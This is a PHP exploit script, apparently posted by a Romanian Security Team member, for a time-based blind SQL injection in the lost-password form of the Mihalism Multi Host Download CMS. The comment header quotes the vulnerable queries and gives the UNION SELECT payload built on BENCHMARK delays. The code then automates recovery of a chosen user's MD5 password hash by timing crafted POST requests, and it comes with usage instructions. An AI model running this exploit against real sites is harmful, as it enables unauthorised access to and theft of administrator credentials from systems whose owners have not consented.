[RST] Mihalism Multi Host Download - Blind SQL Injection

[Guest Nemessis]

<?php

/*

###############################################################################

#

# Moubik ( Romanian Security Team - http://rstcenter.com ) presents

#

# Mihalism Multi Host Download - Blind SQL Injection Attack

#

# Thanks to Vladii for telling me about the CMS.

# Thanks to Shocker for telling Vladii about the CMS.

#

#

# Shoutz to Kw3rln, Bankai, Slick, Nemessis

# Visit http://rstcenter.com

# Visit http://websecurity.ro

#

# Ride as high as possible

#

#

# Vulnerable Code is everywhere.

# I'll talk about users.php

#

###############################################################################*

We have the code

Line 107:

$DB->query("SELECT * FROM `".SQL_USERS_TABLE."` WHERE `user_name` = '".$_POST['user_name']."'");

Line 112:

$DB->query("INSERT INTO `".SQL_USERS_TABLE."` VALUES('', '".$_POST['user_name']."', '".md5($_POST['user_pass_1'])."', '', '".$_SERVER['REMOTE_ADDR']."', '".$_POST['user_email']."', '".$_POST['private']."', '".time()."', 'NORMAL', '".$_POST['country']."', '".$dob."', '".$_POST['gender']."')");

............

I'll create the query for lost password.

Click "Lost Password" and enter the SQL Injection in Username. The email address you could just leave it empty

Injection:

' UNION SELECT IF ( SUBSTRING(password,1,1) = '1', BENCHMARK(2000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12 from mmh_user_data where user_id='1

The password is saved in hashed form so you only search for 0..9, a..f and you have the admin's hash

This vulnerable code is:

$DB->query("SELECT * FROM `".SQL_USERS_TABLE."` WHERE `user_name` = '{$_POST['username']}'");

So the query becomes:

SELECT * FROM `mmh_user_data` WHERE `user_name` = '' UNION SELECT IF ( SUBSTRING(password,1,1) = '1', BENCHMARK(20000000, ENCODE('a','b')), 1 )

,2,3,4,5,6,7,8,9,10,11,12 from mmh_user_data where user_id='1'

Delay-ing the response if the first character of the admin's hash is equal to '1'

*/

function goto_help()

{

echo "-----------------------------------------------------------------------------------------\n";

echo "* Usage php ". $argv[0] ." [full_link] [userid] \n";

echo "* example:\n";

echo "* php ". $argv[0] ." http://localhost/multihost/users.php?act=lost_password_go 1 \n";

echo "-----------------------------------------------------------------------------------------\n";

exit();

}

$chars = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f');

$host = $argv[1];

$userid = (empty($argv[2]) == true ? 1 : $argv[2]);

if (empty ($argv[1]))

{

goto_help();

}

echo "---------------------------------------------------\n";

echo "Starting to exploit $host\n";

echo "Userid exploited is $userid\n";

echo "---------------------------------------------------\n";

$hash = "";

$conn = curl_init();

curl_setopt($conn, CURLOPT_POST, true);

curl_setopt($conn, CURLOPT_URL, $host);

curl_setopt($conn, CURLOPT_RETURNTRANSFER, true);

for ($length = 1 ; $length <= 32 ; $length++)

{

for ($char = 0 ; $char <= 16 ; $char++)

{

$query = "' UNION SELECT IF ( SUBSTRING(password,". $length .",1) = '". $chars[$char] ."', BENCHMARK(20000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12 from mmh_user_data where user_id='". $userid;

//echo $query ."\n";

$start = time(); $end = $start;

curl_setopt($conn, CURLOPT_POSTFIELDS, 'username='. urlencode($query) .'&user_email=1');

curl_exec( $conn );

$end = time();

//if we have a hit

if (($end - $start) > 5)

{

echo "possible hit for ". $chars[$char] ."\n";

$hash .= $chars[$char];

break;

}

else

{

echo $chars[$char]. " ";

}

}

}

echo "---------------------------------------------------\n";

echo "* Exploit made by Moubik\n";

echo "* Romanian Security Zone - http://rstcenter.com/\n";

echo "* esc6 esti un retardat\n";

echo "---------------------------------------------------\n";

echo "* Hash found for userid=". $userid . "\n";

echo "* hash=". $hash . "\n";

echo "---------------------------------------------------\n";

?>